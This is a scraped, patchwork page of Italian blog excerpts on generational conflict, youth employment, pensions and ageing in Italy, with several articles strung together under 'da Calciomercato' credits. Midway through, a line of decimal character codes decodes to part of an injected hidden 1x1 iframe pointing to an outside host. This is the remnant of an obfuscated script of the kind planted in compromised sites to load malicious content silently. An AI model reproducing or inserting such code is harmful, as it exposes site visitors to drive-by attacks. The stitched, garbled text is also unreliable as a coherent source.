Se è vero che per rendersi conto del grado di bontà di una crostata non è necessario assaggiarla, è altrettanto vero che il tema del patto generazionale o patto sociale che dir si voglia è uno di quei temi che periodicamente  "esauriscono" le energie mentali dei nostri politici (tra l’altro da noi eletti).

Le conseguenze delll’invecchiamento o per meglio dire dell’innalzamento dell’età media di noi italiani sembrano esaurirsi, o nelle diatribe sul se o come staccare la spina di macchinari a cui possiamo ritrovarci attaccati, volenti o dolenti, ad un certo momento della nostra vita, o sul come spartirci gli avanzi di quella che un tempo era la nostra ricchezza.

Credetemi! Non è di un patto generazionale che oggi abbiamo bisogno ma di un sano conflitto generazionale che ci aiuti e faccia decidere in che direzione remare tutti.

Un bel conflitto generazionale anche " maschio" se questo può servire a far emergere una conflittualità sotterranea latente che non può che distruggere i rapporti sociali.

Sì a un patto generazionale frutto anche di un serrato e virile confronto, No ad un ennesimo patto figlio dell’ignoranza coltivata con tenacia se non dell’essere infingardi.

Articolo Patto generazionale da Calciomercato

Quello che fa la differenza in questo momento di turbolenza del mondo del lavoro è il come sei capace di gestire il tuo stato mentale e se te ne senti capace.

O anche il come gestisci il tuo atteggiamento nei confronti del mondo del lavoro ovvero quali sono le sensazioni che ti prendono quando ti trovi di fronte al come guadagnarsi da vivere.

Il come ti senti, il come ci si sente, il come sei con te stesso … … sono espressioni che hanno a che vedere con l’atteggiamento ma anche …

… come atteggi il mento ha a che vedere con tutto questo molto più di quello che non puoi immaginare.

La nostra postura ovvero il come utilizziamo il nostro corpo è in relazione biunivoca con ciò che produce la nostra mente.

E il trovare una postura che per noi sia ottimale in ogni contesto e momento è solo una questione di esercizio.

E questo lo sanno (e praticano) bene i popoli orientali mentre noi occidentali continuiamo a sudare nelle palestre senza avere idea di come corpo e mente siano un tutt’uno inscindibile.

Un tutt’uno nel quale il corpo troppo spesso viene da noi occidentali lasciato in secondo piano.

Articolo Qualunque sia la tua età da Calciomercato

"Governare" l’invecchiamento attivo di noi italiani significa che ognuno di noi deve decidere in proprio cosa vuole fare della propria vita (qualunque sia la nostra età) ovvero…

… ognuno di noi deve decidere come vuole gestire i rapporti intergenerazionali e da tutto ciò dipende se in Italia questi rapporti daranno vita ad un Confronto Generazionale piuttosto che a un Conflitto Generazionale.

Io personalmente non temo, ovvero non ho paura del conflitto perché anche il conflitto è una componente della nostra natura umana. Quello che mi inquieta è invece la conflittualità che sembra essere il nostro sport nazionale dopo il calcio.

Billo è bello anche se non è davvero bello. . . .

… infatti BILLO è un acronimo che ho creato qualche anno fa Building Intergenerational Lifelong Learning Organizations che mi piace tradurre in italiano come: COSTRUIAMO Associazioni dove le persone di tutte le età stanno insieme per imparare a imparare.

COSTRUIAMO vuol dire che tutto quanto sopra non si realizza se non entriamo nell’ordine di idee che è un qualcosa che dobbiamo costruire ovvero che non ci è dato dal cielo e magari anche su di un bel vassoio d’argento.

Conflitto generazionale versus confronto generazionale: a chi la prima mossa?? alle Bcellule e alle 3cellule.

Articolo “Conflitto generazionale” versus “confronto generazionale” billo da Calciomercato

- siamo consapevoli del fatto che adesso è ineludibile affrontare il nodo del nostro rapporto con il mondo del lavoro nel terzo millennio?

Ogni giorno sempre di più ho forte la sensazione che, fra i paesi industrializzati, l’Italia è l’unico nel quale il confrontarsi in modo organico e costruttivo sui temi di come guadagnarsi da vivere lavorando è un vero e proprio tabù.

Non voglio aggiungere danno a danno ricordandovi come in Italia si parla di lavoro solo in occasione di scioperi, incidenti sul lavoro, crisi aziendali e questioni legate all’evasione fiscale delle imprese.

Il come ci si prepara ad entrare nel mondo del lavoro, il come ci si deve comportare per essere competitivi in questo mondo del lavoro così aperto al contributo di lavoratori sparsi ai quatro angoli del globo sono argomenti tabù per noi italiani.

Vi siete mai interrogati su cosa significa essere competitivi con il lavoro che fate? Significa semplicemente che si è capaci di produrre beni e servizi che i consumatori vogliono liberamente comprare.

E così: è possibile cambiare il mondo del lavoro in Italia? La mia risposta è SI, ma solo se ognuno di noi entra nell’ordine di idee di cambiare il proprio modo di rapportarsi con i temi dell’economia.

Io sento che il primo passo in questa direzione di cambiamento può essere fatto se e solo se ognuno di noi diventa consapevole del fatto che l’Italia è il Paese più vecchio al mondo. E questo vuol dire che le persone più avanti nell’età sono la componente maggioritaria dei cittadini del nostro bel paese.

Costruire un dialogo intergenerazionale è un passagio ineludibile per scongiurare il pericolo di una decadenza economica dell’Italia e la deflagrazione di un conflitto generazionale senza precedenti.

112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

Articolo E’ possibile cambiare il “mondo del lavoro italiano” da Calciomercato

- che tipo di persona bisogna diventare per fare dichiarazioni come quella di Padoa-Schioppa? (la domanda sarebbe stata la stessa anche se la dichiarazione fosse stata di Berlusconi, Prodi, Bertinotti, Casini, Pecoraro…)

- che tipo di scuola è diventata quella italiana se buona parte dei suoi ex allievi sono diventati dei bamboccioni? o più precisamente che tipo di insegnanti sono quelli i cui allievi sono diventati dei bamboccioni?

 - che tipo di genitori bisogna essere per allevare figli bamboccioni?

Quando frequentavo le elementare un gioco in voga era quello di rispondere "Tu l’hai detto e tu ci sei" a quei compagni di giochi che ci apostrofavano con epiteti non simpatici come p.e. cretino, stupido, imbecille…

"Tu l’hai detto e tu ci hai fatto…" potrebbe essere una risposta non priva di intelligenza che un bamboccione potrebbe affibbiare a Padoa-Schioppa, nonché a certi genitori e insegnanti.

La questione dell’inserimento nel mondo del lavoro dei nostri giovani trentenni è una questione troppo delicata per liquidarla con qualche battuta anche se nella speranza di esorcizzarla perché io sono convinto che…

- un conflitto generazionale è alle porte e mi auguro che non si tratti proprio di un conflitto ma di un confronto duro invece SI’.

Un duro confronto che possa portare ad una sorta di patto generazionale più o meno esplicito per affrontare insieme e con piacere le sfide di questo mondo del lavoro così globalizzato.

Articolo Bamboccioni, lavoro e conflitto generazionale da Calciomercato

In realtà io penso invece che il comportamento dei buonisti alimenta e aggrava la maggior parte delle cause che impediscono il nostro naturale inserimento nel mondo del lavoro ( e tanto più oggigiorno che viviamo in un’economia così in movimento e aperta al nuovo) perché questo loro comportamento castra la nostra creatività e quindi la nostra gioia di vivere di cui è la fonte.

E se tutto ciò avviene senza malafede, sicuramente ha nella stanchezza una delle sue origini.

Ma chi sono i buonisti? e di che tipo di stanchezza sto parlando?

- I buonisti sono quelle persone che hanno successo nella loro azione di apparire come buoni perché ci offrono in continuazione pretesti per far battere ancora il nostro cuore.

Chi di voi non s’imbatte in almeno qualcuno di loro una o più volte al ogni giorno sopratutto se è un abituale frequentatore di tv e carta stampata ?

La stanchezza di cui sto parlando è invece quella di cui si parla in queste righe di cui non ricordo l’autore:

"…non è saggio lasciare che la sera giudichi il giorno perché spesso in tal caso è la stanchezza a diventare giudice della forza, del successo e della volontà".

Ma a ripensarci bene mi viene di pensare che forse queste persone spesso fanno quello che fanno anche in malafede. Sì in malafede! se per malafede vogliamo intendere il comportamento figlio dell’Ignoranza Informata ossia l’ ignoranza di chi – pur disponendo di tutte le informazioni necessarie per ben agire - decide di ignorarle e lo fa sistematicamente.

E allora se tutto ciò è reso possibile dal fatto che la nostra natura umana è tale anche perché ha un bisogno continuo di sentir battere il proprio cuore (ovvero provare sensazioni che ci collegano alle vicissitudini felici e non della vita dei nostri simili  e del mondo di cui siamo parte) diamoci una smossa! e ribelliamoci! prima che il riappropriarci della nostra creatività individuale e di di gruppo non diventi possibile solo con azioni conflittuali e non pacifiche.

Articolo Un ostacolo al nostro pieno inserimento nel mondo del lavoro: troppo spesso molti di noi si sentono buoni da Calciomercato

Il meccanismo è molto semplice: da una parte ci sono quelli di noi che nel mondo del lavoro sono impegnati a guadagnarsi da vivere e che ogni mese conferiscono (attraverso i contributi)  una parte dei loro guadagni nelle casse dell’ I.N.P.S. (Istituto Nazionale Previdenza Sociale), dall’altra c’è lo Stato Italiano che attraverso l’INPS provvede a girare queste somme ai lavoratori in pensioni. 

Siamo consapevoli del fatto che qualora questi contributi venissero a diminuire non sarebbe più possibile pagare per intero l’ammontare delle pensioni?

Ci rendiamo conto o no che se il Sistema Paese Italia ovvero tutti noi non siamo capaci di produrre beni e servizi competitivi i "guadagni" dei lavoratori non saranno più sufficienti per pagare l’attuale ammontare delle pensioni?

Adesso e ora quello che dobbiamo mettere subito in atto è un serrato e schietto confronto generazionale. Un confronto – fra chi lavora e chi è in pensione – che ci aiuti prima di tutto a conoscerci reciprocamente meglio e così poi ad agire insieme per ridare slancio alla nostra capacità di produrre ricchezza.

A quale nuovo mondo del lavoro dare vita e a che tipo di patto generazionale mettere mano è il nodo da sciogliere qui e ora se non vogliamo che nel nostro Paese scoppi un conflitto generazionale.

Perchè in Italia potrebbe scoppiare un conflitto generazionale ovvero un violento conflitto d’interessi fra persone di diverse età?

La risposta che voglio proporvi qui è la seguente ed è il risultato del mio vissuto prima di imprenditore industriale e adesso di consulente aziendale, coach e mentore e "facilitatore".

E’ la prima volta nella storia dell’umanità che grandi masse di persone come noi hanno raggiunto età così avanzate in ottimo stato di salute e in indipendenza economica e possibilità di incidere politicamente mai così diffusa. Questo fatto unito all’esplosione di benessere che si sta avendo a livello mondiale per effetto della globalizzazione ha portato negli ultimi vent’anni ad una vera e propria rivoluzione nel mondo del lavoro.

Il forte innalzamento della nostra età media (ovvero della nostra speranza di vita ossia del numero di anni che possiamo mediamente vivere a partire da una data età) e la globalizzazione dei mercati sono gli ingredienti che possono fare degenerare in conflitto generazionale i rapporti fra italiani appartenenti a diverse fasce d’età.

Come possiamo dare vita ad un patto generazionale che ci faccia vivere bene in questo nuovo mondo del lavoro così globalizzato e trasformi un potenziale conflitto in un confronto generazionale ricco di opportunità per tutti?

Date un’occhiata e leggete i post di questo blog e fatelo con mente rilassata ovvero: mettete la sordina alla vostra mente logica! E così senza nessuno sforzo e con piacere la vostra mente comincerà ad intravedere possibili risposte.  

Articolo Mondo del lavoro e patto generazionale: un nodo da sciogliere per non far crollare il sistema pensionistico italiano da Calciomercato

E tanto più nel cuore e nella testa di noi IMPRENDITORI ITALIANI ogni giorno alle prese – nelle nostre aziende familiari e non – con un confronto-conflitto generazionale sempre più gravido di insidie, e per il quale IL FARSI DA PARTE potrebbe essere una delle risposte più sagge.

Un farsi da parte a cui servizi di consulenza aziendale e coaching innovativo non possono sottrarsi di dare risposte chiare, concrete e subito operative.

Articolo Cos’è il mentoring in Italia? da Calciomercato

Si avete capito bene: NON INTERESSA A NESSUNO !!

Eppure anche nei volti e nelle parole dei non addetti ai lavori è evidente la sensazione (la non piacevole sensazione) che il sistema delle nostre imprese italiane – grandi o piccole che siano – è sulla china di un declino dal quale non si intravedono punti di svolta all’insù.

E così data la delicatezza della situazione perché non proviamo a chiederci:

“Come possiamo far sì che il Conflitto Generazionale in Azienda diventi un punto di svolta all’insù ovvero un punto da cui riposizionare il nostro sistema imprenditoriale?”

Conflitto o confronto generazionale? Molti di noi, ed in particolar modo quando cerchiamo di apparire come più buoni degli altri, preferiscono ignorare l’esistenza della parola conflitto e in questo caso la sostituiscono con confronto.

Se è vero come è vero che è proprio a partire dalle parole che nella nostra mente si formano i significati (e quindi poi i nostri comportamenti) è naturale che la nostra mente preferisca evitare di pensare in termini di conflitto ma . . .

 . . ma questo gli è reso impossibile dai mass media che ogni giorno la “nutrono” non solo con la parola conflitto ma anche con le relative immagini.

E così sembra che non ci sia altro da fare che sostituire la parola conflitto con confronto e invece – fortunatamente – questo non è vero. 

Quali sono le intenzioni positive dietro la parola conflitto ? Cosa ci spinge ad utilizzare il conflitto come strumento di confronto? Conflitto e conflittualità sono la stessa cosa?

Se riflettiamo su queste e sulle altre domande che vi stanno venendo in mente adesso e se lo facciamo mentre siamo rilassati e siamo capaci di prenderci tutto il tempo che ci vuole, rispondere a quelle domande ci verrà naturale.

Facciamolo e facendolo possiamo riappropriarci di significati positivi della parola conflitto.

E adesso non mi resta che chiudere questo post lasciando che la vostra mente (inconscia) - stimolata anche da queste ulteriori considerazioni - faccia da sola il suo lavoro:

• l’Italia è il Paese industrializzato con la più alta percentuale di persone in età avanzata ed inoltre è la prima volta nella storia dell’umanità che la gran parte degli anziani gode di: salute, indipendenza economica e potere politico.
• Qualcuno di voi ha provato a “confrontarsi” con le convinzioni di un imprenditore avanti con gli anni? E con quelle dei giovani imprenditori?
• Come fate a sapere quando l’esperienza non è solo attaccamento al passato ovvero conservazione?
• Si dice che il pensiero ( e quindi poi l’azione) di un giovane è più potente perché non viene dal passato. Come facciamo a convincere i più giovani che questo può essere vero anche per i meno giovani?

Articolo Anche il conflitto generazionale in azienda è un conflitto dinteresse da Calciomercato

ADESSO prenditi tutto il tempo che ti serve e intanto FESTINA LENTE ovvero AFFRETTATI LENTAMENTE !!

Buon Ascolto!!

Articolo #5 Gestire il tempo nel mondo del lavoro e non:Max e i trentenni viaggio nel mondo del lavoro da Calciomercato